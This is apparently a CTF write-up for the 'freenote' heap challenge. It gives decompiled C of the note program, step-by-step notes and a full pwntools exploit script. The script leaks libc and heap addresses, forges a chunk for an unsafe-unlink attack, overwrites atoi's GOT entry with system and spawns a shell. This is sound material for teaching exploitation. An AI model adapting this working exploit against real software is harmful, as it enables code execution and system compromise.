00000000 note_s          struc ; (sizeof=0x18, mappedto_6)
00000000 ; XREF: headptr/r
00000000 inuse dq ?
00000008 size dq ?
00000010 info dq ? ; offset
00000018 note_s ends
00000000 headptr         struc ; (sizeof=0x1810, mappedto_8)
00000000 max dq ?
00000008 count dq ?
00000010 node_list note_s 256 dup(?)
00001810 headptr ends

headptr *head_init()
{
headptr *v0; // rax
headptr *result; // rax
signed int i; // [rsp+Ch] [rbp-4h]

v0 = (headptr *)malloc(0x1810uLL);
head = v0;
v0->max = 256LL;
result = head;
head->count = 0LL;
for ( i = 0; i <= 255; ++i )
{
head->node_list[i].inuse = 0LL;
head->node_list[i].size = 0LL;
result = (headptr *)((char *)head + 24 * i + 32);
result->max = 0LL;
}
return result;
}

int list()
{
__int64 v0; // rax
unsigned int i; // [rsp+Ch] [rbp-4h]

if ( head->count <= 0 )
{
LODWORD(v0) = puts("You need to create some new notes first.");
}
else
{
for ( i = 0; ; ++i )
{
v0 = head->max;
if ( (signed int)i >= head->max )
break;
if ( head->node_list[i].inuse == 1 )
printf("%d. %s\n", i, head->node_list[i].info);
}
}
return v0;
}

int new()
{
__int64 v0; // rax
char *note; // ST18_8
int i; // [rsp+Ch] [rbp-14h]
int len; // [rsp+10h] [rbp-10h]

if ( head->count < head->max )
{
for ( i = 0; ; ++i )
{
v0 = head->max;
if ( i >= head->max )
break;
if ( !head->node_list[i].inuse )
{
printf("Length of new note: ");
len = read_int32();
if ( len > 0 )
{
if ( len > 4096 )
len = 4096;
note = (char *)malloc((128 - len % 128) % 128 + len);
printf("Enter your note: ");
read_note(note, len);
head->node_list[i].inuse = 1LL;
head->node_list[i].size = len;
head->node_list[i].info = note;
++head->count;
LODWORD(v0) = puts("Done.");
}
else
{
LODWORD(v0) = puts("Invalid length!");
}
return v0;
}
}
}
else
{
LODWORD(v0) = puts("Unable to create new note.");
}
return v0;
}

int edit()
{
headptr *v1; // rbx
int v2; // [rsp+4h] [rbp-1Ch]
int v3; // [rsp+8h] [rbp-18h]

printf("Note number: ");
v3 = read_int32();
if ( v3 < 0 || v3 >= head->max || head->node_list[v3].inuse != 1 )
return puts("Invalid number!");
printf("Length of note: ");
v2 = read_int32();
if ( v2 <= 0 )
return puts("Invalid length!");
if ( v2 > 4096 )
v2 = 4096;
if ( v2 != head->node_list[v3].size )
{
v1 = head;
v1->node_list[v3].info = (char *)realloc(head->node_list[v3].info, (128 - v2 % 128) % 128 + v2);
head->node_list[v3].size = v2;
}
printf("Enter your note: ");
read_note(head->node_list[v3].info, v2);
return puts("Done.");
}

__int64 __fastcall read_note(char *a1, signed int a2)
{
signed int i; // [rsp+18h] [rbp-8h]
int v4; // [rsp+1Ch] [rbp-4h]

if ( a2 <= 0 )
return 0LL;
for ( i = 0; i < a2; i += v4 )
{
v4 = read(0, &a1[i], a2 - i);
if ( v4 <= 0 )
break;
}
return (unsigned int)i;
}

int delte()
{
int v1; // [rsp+Ch] [rbp-4h]

if ( head->count <= 0 )
return puts("No notes yet.");
printf("Note number: ");
v1 = read_int32();
if ( v1 < 0 || v1 >= head->max )
return puts("Invalid number!");
--head->count;
head->node_list[v1].inuse = 0LL;
head->node_list[v1].size = 0LL;
free(head->node_list[v1].info);
return puts("Done.");
}

  1. new("a" * 8) # 0
    new("b" * 8) # 1

  2. free(0)

  3. new("a" * 8) # 0

    show(0)
    # 接收 main_arena 地址
    ru("a" * 8)
    mainarena_addr = u64(rv(6) + b"\x00\x00")

    # 0x7ffff7dd4b78 - 0x7ffff7a39000 = 0x39bb78
    libc.address = mainarena_addr - 0x39bb78

    free(0) # 0
    free(1) # 1

  1. new("a" * 8) # 0
    new("b" * 8) # 1
    new("c" * 8) # 2
    new("d" * 8) # 3

  2. free(0) # 0
    free(2) # 2

  3. new("e" * 8) # 0
    show()
    ru("e" * 8)
    chunk0_addr = u64(ru("\n")[:-1].ljust(8, b"\x00"))

    # 0x604940 - 0x603000 = 0x1940
    heap_addr = chunk0_addr - 0x1940

    free(0) # 0
    free(1) # 1
    free(3) # 3
  1. system_addr = libc.symbols["system"]
    binsh_addr = libc.search(b"/bin/sh").__next__()
    atoi_addr = elf.got["atoi"]
  2. new("a" * 0x80)
    new("a" * 0x80)
    new("a" * 0x80)

    free(0)
    free(1)
    free(2)
  3. payload = p64(0) + p64(0x81) + p64(heap_addr + 0x30 - 0x18) + p64(heap_addr + 0x30 - 0x10) + b'a' * 0x60
    payload += p64(0x80) + p64(0x90) + b'b' * 0x80
    payload += p64(0x0) + p64(0x91) + b'c' * 0x60

    new(payload)

    free(1)
  4. payload2 = p64(2) + p64(1) + p64(8) + p64(atoi_addr)

    edit(0, payload2.ljust(len(payload), b'b'))

  5. payload3 = p64(system_addr)
    edit(0, payload3)

from pwn import *

p = process("./freenote", env={"LOAD_PRELOAD":"./libc.so.6"})
elf = ELF("./freenote")
libc = ELF("./libc.so.6")
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-v']

ru = p.recvuntil
rv = p.recv
sla = p.sendlineafter
sa = p.sendafter

def log_addr(s, addr):
log.success(s + hex(addr))

def dbg(s):
gdb.attach(p, s)

def show():
sla("choice: ", "1")

def new(data):
sla("choice: ", "2")
sla("new note: ", str(len(data)))
sa("your note: ", data)

def edit(idx, data):
sla("choice: ", "3")
sla("Note number:", str(idx))
sla("Length of note:", str(len(data)))
sa("your note: ", data)

def free(idx):
sla("choice: ", "4")
sla("Note number: ", str(idx))

new("a" * 8) # 0
new("b" * 8) # 1

free(0)

new("a" * 8) # 0

show()

ru("a" * 8)
mainarena_addr = u64(rv(6) + b"\x00\x00")
log_addr("main_arena addr: ", mainarena_addr)

libc.address = mainarena_addr - 0x39bb78
log_addr("libc addr: ", libc.address)

free(0) # 0
free(1) # 1

new("a" * 8) # 0
new("b" * 8) # 1
new("c" * 8) # 2
new("d" * 8) # 3

free(0) # 0
free(2) # 2

new("e" * 8) # 0
show()
ru("e" * 8)
chunk0_addr = u64(ru("\n")[:-1].ljust(8, b"\x00"))
log_addr("chunk0 addr: ", chunk0_addr)

heap_addr = chunk0_addr - 0x1940
log_addr("heap addr: ", heap_addr)

free(0) # 0
free(1) # 1
free(3) # 3

system_addr = libc.symbols["system"]
binsh_addr = libc.search(b"/bin/sh").__next__()
atoi_addr = elf.got["atoi"]
log_addr("system addr: ", system_addr)
log_addr("/bin/sh addr: ", binsh_addr)
log_addr("atoi@got addr: ", atoi_addr)
new("a" * 0x80)
new("a" * 0x80)
new("a" * 0x80)

free(0)
free(1)
free(2)

payload = p64(0) + p64(0x81) + p64(heap_addr + 0x30 - 0x18) + p64(heap_addr + 0x30 - 0x10) + b'a' * 0x60
payload += p64(0x80) + p64(0x90) + b'b' * 0x80
payload += p64(0x0) + p64(0x91) + b'c' * 0x60

log.success("[*] payload len: " + hex(len(payload)))

new(payload)

free(1)

payload2 = p64(2) + p64(1) + p64(8) + p64(atoi_addr)

edit(0, payload2.ljust(len(payload), b'b'))

payload3 = p64(system_addr)
edit(0, payload3)

pause()
p.sendline(p64(binsh_addr))

p.interactive()